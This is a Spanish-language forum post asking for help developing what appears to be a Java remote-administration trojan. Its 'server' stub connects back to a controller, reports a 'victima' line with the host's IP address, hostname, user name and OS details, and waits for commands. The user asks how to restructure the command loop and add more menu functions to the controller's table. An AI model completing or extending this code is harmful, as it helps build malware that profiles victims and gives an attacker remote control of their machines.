Código:
  
La cuestión es que quería cambiar la zona de public synchronized void run por:import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.Socket;
import java.net.UnknownHostException;
 
interface config{
   public static final int    port       = 8086;
   public static final String host    = "localhost";
}
public class server extends Thread{
   private Socket socket  = null;
   private boolean active = true;
    
   private PrintWriter    printWriter = null;
   private BufferedReader reader      = null;
   @Override
   public synchronized void run(){
      while(active){
         try {
            if(reader.ready()){
             
            }
         } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
         }
         try {
            Thread.sleep(70);
         } catch (InterruptedException e) {
            e.printStackTrace();
         }
      }
   }
   private final void writer(String command){
      printWriter.println(command);
      printWriter.flush();
   }
   private final void sendInformation() {
      try {
         final InetAddress address = InetAddress.getLocalHost();
         this.writer("NEW");
            this.writer("victima" + "?" + address.getHostAddress() + "?"
               + address.getCanonicalHostName() + "?"
               + System.getProperty("user.name") + "?"
               + System.getProperty("os.name") + "?"
               + System.getProperty("os.version") + "?" + config.port);
      } catch (Exception e) {
         System.err.println(e);
      }
   }
   public server(){
   try {
      this.socket = new Socket(config.host,config.port);
      inOut();
      sendInformation();
   } catch (UnknownHostException e) {
      e.printStackTrace();
   } catch (IOException e) {
      e.printStackTrace();
       }   
   this.start();
   }
   private final void inOut() throws IOException{
      printWriter = new PrintWriter(socket.getOutputStream());
      reader = new BufferedReader(
                           new InputStreamReader(socket.getInputStream()));
   }
   /**
    * @param args
    */
   public static void main(String[] args) {
   new server();
   }
}
Código:
  
1- ¿Seria posible modificarlo asi? public void run(){
   //debes saber que omito las capturas de errores
   //esta variable se usa para seguir la ejecución (done significa hecho) la inicializo false porque es natural decir que no esta listo
   boolean done = false;
   //esta variable se usa para almacenar la linea leida
   String line;
   //como no esta listo uso la negacion de done (!done)
   while(!done){
     //dentro del while aqui bucle while viene la magia (la magía como decia mi abuelo Q.E.P.D)
      line = in.readLine().trim(); //al igual que el servidor eco, pero borramos los espacios que pueda tener (adelante o atras)
      //vamos con la magia (redoble de tambores)
     if(line.equalsIgnoreCase("Comando1")){
         //eee lo logramos
         //accion 1
        out.write("Respuesta1");
      }else
      if(line.equalsIgnoreCase("Comando2")){
        //otro más
        //accion 2
         out.write("Respuesta2");
      }//..... y todos los que se te ocurra
     //ves facil aa se me le olvidava
    //aqui antes de salir del bloque while hacemos un flush de los datos
    out.flush();
  }
}
2- Para mi seria mas fácil programarlo de la forma que quiero modificar porfavor denme sus opiniones,gracias.
3- ¿Cómo añado mas funciones de popup en este codigo?:
Código:
  
 JPopupMenu popupMenu = new JPopupMenu();
         JMenuItem item = new JMenuItem("Funcion 1");
      
         
         
          popupMenu.add(item);
         table.setComponentPopupMenu(popupMenu);
 
 
 Server Remoto Consejos
 Server Remoto Consejos 

